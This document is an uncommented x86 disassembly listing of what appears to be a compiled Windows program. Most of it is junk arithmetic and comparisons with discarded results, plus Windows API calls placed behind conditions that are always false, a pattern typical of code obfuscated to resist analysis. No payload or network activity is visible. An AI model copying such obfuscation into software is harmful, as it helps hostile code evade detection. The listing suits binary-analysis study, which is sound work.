mov eax, dword [ebp - 0x174]
inc eax
inc eax
sub eax, dword [ebp - 0x78]
cmp eax, 1
jge 0x417150
cmp dword [ebp - 0x78], 0
jne 0x417150
and dword [ebp - 0x42c], 0
jmp 0x41715a
mov dword [ebp - 0x42c], 1
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x42c], eax
jl 0x417174
mov dword [ebp - 0x78c], 1
jmp 0x41717b
and dword [ebp - 0x78c], 0
cmp dword [ebp - 0x78c], 0xb6f2
jne 0x417197
push 6
pop eax
test eax, eax
jne 0x417197
and dword [ebp - 0x434], 0
jmp 0x4171a1
mov dword [ebp - 0x434], 1
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x434], eax
jne 0x4171b8
mov dword [ebp - 0x794], 1
jmp 0x4171bf
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x794]
mov dword [ebp - 0x78], eax
jmp 0x416f3d
cmp dword [ebp - 0x128], 0
je 0x417409
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x10c], eax
je 0x4171fd
cmp dword [ebp - 0x10c], 0
je 0x417212
cmp dword [ebp - 0xb0], 0
je 0x417212
mov dword [ebp - 0x43c], 1
jmp 0x417219
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
sub eax, 8
mov dword [ebp - 0x79c], eax
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x417250
cmp dword [ebp - 0x15c], 0
mov eax, dword [ebp - 0x15c]
cmp dword [ebp - 0x10c], eax
jge 0x41726a
mov dword [ebp - 0x444], 1
jmp 0x417271
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
add eax, 0x68191e7b
cmp eax, dword [ebp - 0x90]
jge 0x417299
cmp dword [ebp - 0x10c], 0
je 0x417299
mov dword [ebp - 0x8cc], 1
jmp 0x4172a0
and dword [ebp - 0x8cc], 0
push 0
lea ecx, [ebp - 0x9b0]
call fcn.004014ea
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xbd8], eax
cmp dword [ebp - 0x90], 1
jne 0x4172ce
mov dword [ebp - 0x7a4], 1
jmp 0x4172d5
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x7a4]
sub eax, dword [ebp - 0x13c]
imul eax, dword [ebp - 0x90]
cmp eax, 0xce086565
ja 0x4172fb
mov dword [ebp - 0x44c], 1
jmp 0x417302
and dword [ebp - 0x44c], 0
cmp dword [ebp - 0x44c], 0xc26b
jne 0x41731a
mov dword [ebp - 0x7ac], 1
jmp 0x417321
and dword [ebp - 0x7ac], 0
push 1
lea ecx, [ebp - 0x9b0]
call fcn.004014ea
mov ecx, dword [ebp - 0x7ac]
sub ecx, dword [eax]
jne 0x417344
mov dword [ebp - 0x454], 1
jmp 0x41734b
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x454], eax
jge 0x417365
mov dword [ebp - 0x7b4], 1
jmp 0x41736c
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0xb0], eax
jl 0x417392
mov dword [ebp - 0x45c], 1
jmp 0x417399
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x90]
add eax, dword [ebp - 0x45c]
cmp eax, dword [ebp - 0x890]
jle 0x4173b9
mov dword [ebp - 0x7bc], 1
jmp 0x4173c0
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x7bc]
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jne 0x4173e7
mov eax, 0x6f59
test eax, eax
jne 0x4173e7
and dword [ebp - 0x464], 0
jmp 0x4173f1
mov dword [ebp - 0x464], 1
cmp dword [ebp - 0x464], 0xfe45
jg 0x417409
mov dword [ebp - 0x7c4], 1
jmp 0x417410
and dword [ebp - 0x7c4], 0
mov dword [ebp - 0x78], 0x242e
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x7c4]
jle 0x417457
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x417452
push 0x21cd
push 0xcf1
push 0
push 0
push 0x1897
push 0x208d
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x41772c
mov dword [ebp - 0x218], 7
mov dword [ebp - 0x32c], 0xfffffff6
mov dword [ebp - 0x1d4], 0x3aa5b3e5
mov dword [ebp - 0x678], 1
mov dword [ebp - 0x230], 0
jmp 0x417498
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 3
jge 0x4174b4
mov eax, dword [ebp - 0x230]
mov dword [ebp + eax*4 - 0xb40], 5
jmp 0x41748b
cmp dword [ebp - 0x128], 0
je 0x4174e2
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xbe0], eax
cmp dword [ebp - 0x218], 1
jbe 0x4174db
mov dword [ebp - 0x46c], 1
jmp 0x4174e2
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x218]
cmp dword [ebp - 0x218], eax
je 0x4174fc
mov dword [ebp - 0x7cc], 1
jmp 0x417503
and dword [ebp - 0x7cc], 0
mov eax, dword [ebp - 0x90]
cmp dword [ebp - 0x7cc], eax
jge 0x41751d
mov dword [ebp - 0x474], 1
jmp 0x417524
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x41754b
cmp dword [ebp - 0x90], 0
jne 0x41754b
and dword [ebp - 0x7d4], 0
jmp 0x417555
mov dword [ebp - 0x7d4], 1
mov eax, dword [ebp - 0x15c]
add eax, dword [ebp - 0x7d4]
cmp eax, 0xfff9
ja 0x417574
mov dword [ebp - 0x47c], 1
jmp 0x41757b
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov dword [ebp - 0x7dc], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7dc]
mov dword [ebp + eax - 0xb40], ecx
mov eax, dword [ebp - 0x7dc]
add eax, 0x846
cmp eax, dword [ebp - 0x1d4]
jle 0x4175c5
mov dword [ebp - 0x7e4], 1
jmp 0x4175cc
and dword [ebp - 0x7e4], 0
mov eax, dword [ebp - 0x1d4]
cmp dword [ebp - 0x7e4], eax
jl 0x4175e6
mov dword [ebp - 0x488], 1
jmp 0x4175ed
and dword [ebp - 0x488], 0
cmp dword [ebp - 0x488], 0xc7f14991
jbe 0x417605
mov dword [ebp - 0x670], 1
jmp 0x41760c
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 0xa875637
jl 0x417624
mov dword [ebp - 0x490], 1
jmp 0x41762b
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
je 0x41765c
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb40], 0
je 0x41765c
mov dword [ebp - 0x8f0], 1
jmp 0x417663
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xbe8], eax
or eax, 0xffffffff
je 0x4176b0
mov dword [ebp - 0x81c], 2
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x4176a1
push 0
push 0
push 0x1d13
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
mov eax, dword [ebp - 0x81c]
inc eax
mov dword [ebp - 0x81c], eax
jmp 0x41772c
mov dword [ebp - 0xbf0], 1
mov dword [ebp - 0x898], 0xfffffff9
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xbf8], eax
push 2
pop eax
test eax, eax
je 0x4176ec
cmp dword [ebp - 0x32c], 0
je 0x4176ec
mov dword [ebp - 0x498], 1
jmp 0x4176f3
and dword [ebp - 0x498], 0
push 0
lea ecx, [ebp - 0x9b0]
call fcn.004014ea
mov eax, dword [eax]
imul eax, dword [ebp - 0x498]
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0x898], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb40], 0xfffffffd
lea ecx, [ebp - 0x9b0]
call fcn.004014ce
jmp 0x416934
mov dword [ebp - 0x144], 0xffffffff
mov dword [ebp - 0x144], 0
jmp 0x41775f
mov eax, dword [ebp - 0x144]
dec eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xfffffff7
je 0x4177ae
mov dword [ebp - 0x1dc], 3
mov dword [ebp - 0x8f8], 0xfffffff9
mov dword [ebp - 0x1dc], 0
jmp 0x417795
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x16
jne 0x4177ac
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x8f8], eax
jmp 0x417788
jmp 0x417752
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x2bb]
sub eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x4a0]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jge 0x4177e8
mov eax, dword [ebp - 0x240]
add eax, 0x100
mov dword [ebp - 0x240], eax
jmp 0x4177cc
mov dword [ebp - 0xd14], 0x2d5e48d3
mov dword [ebp - 0xd10], 0x2d5e48d3
mov dword [ebp - 0xd0c], 0x2d5e48d3
mov dword [ebp - 0xd08], 0x2d5e48d3
mov dword [ebp - 0x9f4], 0xf665683c
mov dword [ebp - 0x9f0], 0xf665683c
mov dword [ebp - 0x9ec], 0xf665683c
mov dword [ebp - 0x9e8], 0xf665683c
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x9f4], 0
jmp 0x417863
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9f4]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x9f4], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9f4], 3
jg 0x4178af
mov byte [ebp - 0x103], 0
movzx eax, byte [ebp - 0x103]
test eax, eax
je 0x417891
push 0x11eb
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov byte [ebp - 0x9b], 0
movzx eax, byte [ebp - 0x9b]
test eax, eax
je 0x4178ad
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
jmp 0x41784a
mov byte [ebp - 0x105], 0
movzx eax, byte [ebp - 0x105]
test eax, eax
je 0x4178cb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [ebp - 0x58]
movzx eax, byte [ebp + eax - 0x2bc]
mov cx, word [ebp - 0x240]
mov word [ebp + eax*2 - 0xd9c], cx
jmp 0x416934
mov dword [ebp - 0xc], 0xfffffff9
mov dword [ebp - 0x2f4], 0xfffffff8
mov dword [ebp - 0x918], 0xffffffff
mov dword [ebp - 0x40], 0x25b0d6b1
mov dword [ebp - 0xa98], 0x7b27f969
mov dword [ebp - 0xa94], 0x7b27f969
mov dword [ebp - 0xa90], 0x7b27f969
mov dword [ebp - 0xa8c], 0x7b27f969
lea ecx, [ebp - 0x345]
call fcn.004014f9
push eax
lea eax, [ebp - 0xa88]
push eax
lea eax, [ebp - 0xa98]
push eax
lea ecx, [ebp - 0xdac]
call fcn.004014fc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1f8]
call fcn.004014a8
mov dword [ebp - 0x6b0], 0xfffffffd
mov dword [ebp - 0x3c], 0
jmp 0x417983
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x417999
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xd74], 0x38a8812e
jmp 0x41797c
mov dword [ebp - 0x3c], 0
jmp 0x4179a9
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x4179bf
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xd80], 0x53ceb4b6
jmp 0x4179a2
cmp dword [ebp - 0xc], 0
je 0x417aa5
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jle 0x4179dd
mov dword [ebp - 0x8a0], 1
jmp 0x4179e4
and dword [ebp - 0x8a0], 0
cmp dword [ebp - 0xc], 0
jne 0x417a5e
mov eax, dword [ebp - 0xc]
add eax, 0xfa31
jne 0x4179fa
cmp dword [ebp - 0xc], 0
je 0x417a0c
cmp dword [ebp - 0xc], 0
je 0x417a0c
mov dword [ebp - 0x900], 1
jmp 0x417a13
and dword [ebp - 0x900], 0
xor eax, eax
jne 0x417a26
cmp dword [ebp - 0xc], 0
jne 0x417a26
and dword [ebp - 0x768], 0
jmp 0x417a30
mov dword [ebp - 0x768], 1
cmp dword [ebp - 0x768], 0
jg 0x417a45
mov dword [ebp - 0x4a8], 1
jmp 0x417a4c
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0xfffffff6
jne 0x417a5e
and dword [ebp - 0x8a8], 0
jmp 0x417a68
mov dword [ebp - 0x8a8], 1
mov eax, 0xffff
test eax, eax
jne 0x417a80
cmp dword [ebp - 0xc], 0
jne 0x417a80
and dword [ebp - 0x680], 0
jmp 0x417a8a
mov dword [ebp - 0x680], 1
cmp dword [ebp - 0x680], 0
je 0x417aa5
cmp dword [ebp - 0xc], 0
je 0x417aa5
mov dword [ebp - 0x4b0], 1
jmp 0x417aac
and dword [ebp - 0x4b0], 0
cmp dword [ebp - 0x4b0], 0x9271
jne 0x417ac4
mov dword [ebp - 0x7e0], 1
jmp 0x417acb
and dword [ebp - 0x7e0], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x7e0], eax
jne 0x417ae2
mov dword [ebp - 0x4b8], 1
jmp 0x417ae9
and dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x4b8], eax
je 0x417b95
mov dword [ebp - 0x8b0], 8
mov dword [ebp - 0x908], 0x69a3
cmp dword [ebp - 0x908], 1
jne 0x417b21
mov dword [ebp - 0x688], 1
jmp 0x417b28
and dword [ebp - 0x688], 0
cmp dword [ebp - 0x688], 0
ja 0x417b3d
mov dword [ebp - 0x4c0], 1
jmp 0x417b44
and dword [ebp - 0x4c0], 0
mov eax, dword [ebp - 0x8b0]
cmp dword [ebp - 0x4c0], eax
jge 0x417b5e
mov dword [ebp - 0x770], 1
jmp 0x417b65
and dword [ebp - 0x770], 0
cmp dword [ebp - 0x770], 4
jne 0x417b7a
mov dword [ebp - 0x4c8], 1
jmp 0x417b81
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x2f4]
add eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x40], eax
jmp 0x417f12
mov dword [ebp - 0x148], 0xfffffffc
mov dword [ebp - 0x850], 0
push 3
lea ecx, [ebp - 0x868]
call fcn.004013fc
mov dword [ebp - 0xbb0], 8
mov dword [ebp - 0xbac], 8
mov dword [ebp - 0xba8], 8
mov dword [ebp - 0xba4], 8
mov dword [ebp - 0x8b8], 4
mov dword [ebp - 0x70], 0
jmp 0x417bf8
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 4
jge 0x417c0e
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xbc0], 0xf6c0
jmp 0x417bf1
mov dword [ebp - 0x70], 0
jmp 0x417c1e
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x417c3a
push dword [ebp - 0x70]
lea ecx, [ebp - 0x868]
call fcn.004014ea
mov dword [eax], 0xa655
jmp 0x417c17
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x417d29
cmp dword [ebp - 0x148], 0
je 0x417c55
cmp dword [ebp - 0x148], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbc0], 0xf7c9
jle 0x417c79
cmp dword [ebp - 0x148], 0
jne 0x417c79
and dword [ebp - 0x690], 0
jmp 0x417c83
mov dword [ebp - 0x690], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x690], eax
jl 0x417c9a
mov dword [ebp - 0x4d0], 1
jmp 0x417ca1
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x850], eax
mov eax, dword [ebp - 0x850]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0xbc0]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
mov dword [ebp - 0xc00], eax
push 0
lea ecx, [ebp - 0x868]
call fcn.004014ea
mov esi, eax
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov ecx, dword [esi]
cmp ecx, dword [eax]
jg 0x417cff
mov dword [ebp - 0x4d8], 1
jmp 0x417d06
and dword [ebp - 0x4d8], 0
push 0
lea ecx, [ebp - 0x868]
call fcn.004014ea
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
je 0x417d29
mov dword [ebp - 0x698], 1
jmp 0x417d30
and dword [ebp - 0x698], 0
cmp dword [ebp - 0x698], 0x7aac
jne 0x417d48
mov dword [ebp - 0x4e0], 1
jmp 0x417d4f
and dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 0x18a3
je 0x417d67
mov dword [ebp - 0x778], 1
jmp 0x417d6e
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x40]
push 0
lea ecx, [ebp - 0x868]
call fcn.004014ea
cmp esi, dword [eax]
jle 0x417d97
mov dword [ebp - 0x4e8], 1
jmp 0x417d9e
and dword [ebp - 0x4e8], 0
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov ecx, dword [ebp - 0x4e8]
cmp ecx, dword [eax]
jne 0x417dc1
mov dword [ebp - 0x6a0], 1
jmp 0x417dc8
and dword [ebp - 0x6a0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbc0]
cmp dword [ebp - 0x6a0], eax
jne 0x417de8
mov dword [ebp - 0x4f0], 1
jmp 0x417def
and dword [ebp - 0x4f0], 0
push 4
pop eax
shl eax, 1
mov esi, dword [ebp - 0x4f0]
sub esi, dword [ebp + eax - 0xbc0]
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
cmp esi, dword [eax]
jne 0x417e1e
mov dword [ebp - 0x7e8], 1
jmp 0x417e25
and dword [ebp - 0x7e8], 0
push 2
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov ecx, dword [ebp - 0x7e8]
sub ecx, dword [eax]
cmp ecx, 0x7675e6d9
jge 0x417e4e
mov dword [ebp - 0x4f8], 1
jmp 0x417e55
and dword [ebp - 0x4f8], 0
cmp dword [ebp - 0x4f8], 0x3f19
jne 0x417e6d
mov dword [ebp - 0x910], 1
jmp 0x417e74
and dword [ebp - 0x910], 0
push 1
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
cmp dword [ebp - 0x6b0], 0
jne 0x417ea5
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
cmp dword [eax], 0
jne 0x417ea5
and dword [ebp - 0x6a8], 0
jmp 0x417eaf
mov dword [ebp - 0x6a8], 1
push 1
lea ecx, [ebp - 0x868]
call fcn.004014ea
mov ecx, dword [ebp - 0x6a8]
imul ecx, dword [eax]
mov dword [ebp - 0x500], ecx
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x500]
mov dword [ebp + eax - 0xbb0], ecx
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x8b8], eax
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x417f07
push 0x182e
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x868]
call fcn.004014ce
mov dword [ebp - 0x40], 5
cmp dword [ebp - 0x40], 0
je 0x41809d
mov esi, dword [ebp - 0x40]
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
add esi, dword [eax]
cmp esi, dword [ebp - 0x918]
jle 0x417f49
mov dword [ebp - 0x780], 1
jmp 0x417f50
and dword [ebp - 0x780], 0
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov eax, dword [eax]
inc eax
cmp eax, dword [ebp - 0x780]
jle 0x417f77
cmp dword [ebp - 0xc], 0
jne 0x417f77
and dword [ebp - 0x8c0], 0
jmp 0x417f81
mov dword [ebp - 0x8c0], 1
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x2f4], eax
jge 0x417fb2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd74], 0
jne 0x417fb2
and dword [ebp - 0x508], 0
jmp 0x417fbc
mov dword [ebp - 0x508], 1
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov eax, dword [eax]
cmp eax, dword [ebp - 0x508]
jl 0x417fdf
mov dword [ebp - 0x510], 1
jmp 0x417fe6
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x6b0]
cmp dword [ebp - 0x510], eax
jg 0x418000
mov dword [ebp - 0x824], 1
jmp 0x418007
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x824], eax
jne 0x41801f
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
xor eax, eax
inc eax
sub eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x61002f44
jg 0x418040
mov dword [ebp - 0x518], 1
jmp 0x418047
and dword [ebp - 0x518], 0
push 1
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov ecx, dword [ebp - 0x518]
sub ecx, dword [eax]
je 0x418073
mov eax, 0x9d5a
test eax, eax
je 0x418073
mov dword [ebp - 0x6b8], 1
jmp 0x41807a
and dword [ebp - 0x6b8], 0
push 0
lea ecx, [ebp - 0x1f8]
call fcn.004014ea
mov ecx, dword [ebp - 0x6b8]
sub ecx, dword [eax]
je 0x41809d
mov dword [ebp - 0x520], 1
jmp 0x4180a4
and dword [ebp - 0x520], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x520]
mov dword [ebp + eax - 0xd80], ecx
lea ecx, [ebp - 0x1f8]
call fcn.004014ce
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xd9c], cx
mov dword [ebp - 0x220], 0xb32a
mov dword [ebp - 0x2fc], 0xfffffff6
mov dword [ebp - 0x18c], 0x779c
mov dword [ebp - 0x38], 0xfffffff8
mov dword [ebp - 0x118], 0x7f39
mov dword [ebp - 0xc0], 0x36ae3d47
mov dword [ebp - 0x1e4], 0
jmp 0x418123
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 1
jge 0x41813f
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x920], 0x1b5f7a0d
jmp 0x418116
cmp dword [ebp - 0x38], 0
jne 0x418166
cmp dword [ebp - 0x38], 0
ja 0x418154
mov eax, 0xbd4856cd
test eax, eax
jne 0x418166
cmp dword [ebp - 0x220], 0
jne 0x418166
and dword [ebp - 0x788], 0
jmp 0x418170
mov dword [ebp - 0x788], 1
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x788], eax
je 0x418187
mov dword [ebp - 0x528], 1
jmp 0x41818e
and dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x528]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x38], eax
jl 0x4181b1
mov dword [ebp - 0x6c0], 1
jmp 0x4181b8
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x6c0], eax
je 0x4181d2
mov dword [ebp - 0x530], 1
jmp 0x4181d9
and dword [ebp - 0x530], 0
mov eax, dword [ebp - 0x530]
sub eax, 0xa
cmp eax, dword [ebp - 0x220]
jle 0x4181f6
mov dword [ebp - 0x7f0], 1
jmp 0x4181fd
and dword [ebp - 0x7f0], 0
cmp dword [ebp - 0x7f0], 0x4fd5
jne 0x418215
mov dword [ebp - 0x538], 1
jmp 0x41821c
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x2fc], eax
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x538]
cmp eax, ecx
jne 0x41824e
mov dword [ebp - 0x6c8], 1
jmp 0x418255
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x18c]
imul eax, dword [ebp - 0x6c8]
cmp eax, 0x1f0ef2f3
jg 0x418275
mov dword [ebp - 0x540], 1
jmp 0x41827c
and dword [ebp - 0x540], 0
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0xc08], eax
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xc10], eax
mov eax, 0x9e14
cmp eax, 1
jne 0x4182b6
mov dword [ebp - 0x790], 1
jmp 0x4182bd
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x790], eax
jg 0x4182d4
mov dword [ebp - 0x548], 1
jmp 0x4182db
and dword [ebp - 0x548], 0
cmp dword [ebp - 0x548], 8
je 0x418325
mov dword [ebp - 0x334], 1
mov eax, dword [ebp - 0x334]
dec eax
mov dword [ebp - 0x334], eax
mov eax, dword [ebp - 0x334]
add eax, dword [ebp - 0x18c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x920], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x2fc], eax
jmp 0x4183ca
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x418353
push 0x1e6
push 0x6d8
push 0x90c
push 0x2576
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x38], 0
jmp 0x418363
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x3b
jge 0x4183ca
mov dword [ebp - 0x118], 0
jmp 0x418382
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 1
jne 0x4183c8
mov dword [ebp - 0x6d0], 0xb3395cc9
mov dword [ebp - 0xc0], 0
jmp 0x4183ae
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0
jg 0x4183c6
mov eax, dword [ebp - 0x6d0]
dec eax
mov dword [ebp - 0x6d0], eax
jmp 0x4183a1
jmp 0x418375
jmp 0x41835c
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x4183e2
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea eax, [ebp - 0xd9c]
push eax
lea ecx, [ebp - 0xe1c]
call fcn.0042180d
push eax
call fcn.0040471b
pop ecx
mov dword [ebp - 0x68c], eax
lea ecx, [ebp - 0xe1c]
call fcn.00421832
mov dword [ebp - 0x138], 1
mov dword [ebp - 0x150], 0x7ab3921d
mov dword [ebp - 0x120], 0x44455595
push 1
lea ecx, [ebp - 0xa54]
call fcn.004013fc
mov dword [ebp - 0x928], 0xfffffff8
mov dword [ebp - 0xc18], 0xa05132d7
mov dword [ebp - 4], 0
jmp 0x41845b
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x418471
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa5c], 0xa631
jmp 0x418454
mov dword [ebp - 4], 0
jmp 0x418481
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 3
jge 0x418497
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xc74], 6
jmp 0x41847a
mov dword [ebp - 4], 0
jmp 0x4184a7
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jge 0x4184c3
push dword [ebp - 4]
lea ecx, [ebp - 0xa54]
call fcn.004014ea
mov dword [eax], 7
jmp 0x4184a0
mov dword [ebp - 4], 0
jmp 0x4184d3
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jge 0x4184e9
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x560], 0xffffffff
jmp 0x4184cc
mov dword [ebp - 0x138], 0
jmp 0x418502
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 1
jg 0x418592
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xc74], 0xfffffffe
mov dword [ebp - 0x150], 0xfffffffe
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x120], 0
jmp 0x41854e
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 1
jg 0x41858d
mov dword [ebp - 0x8c8], 0x9e2a8d3a
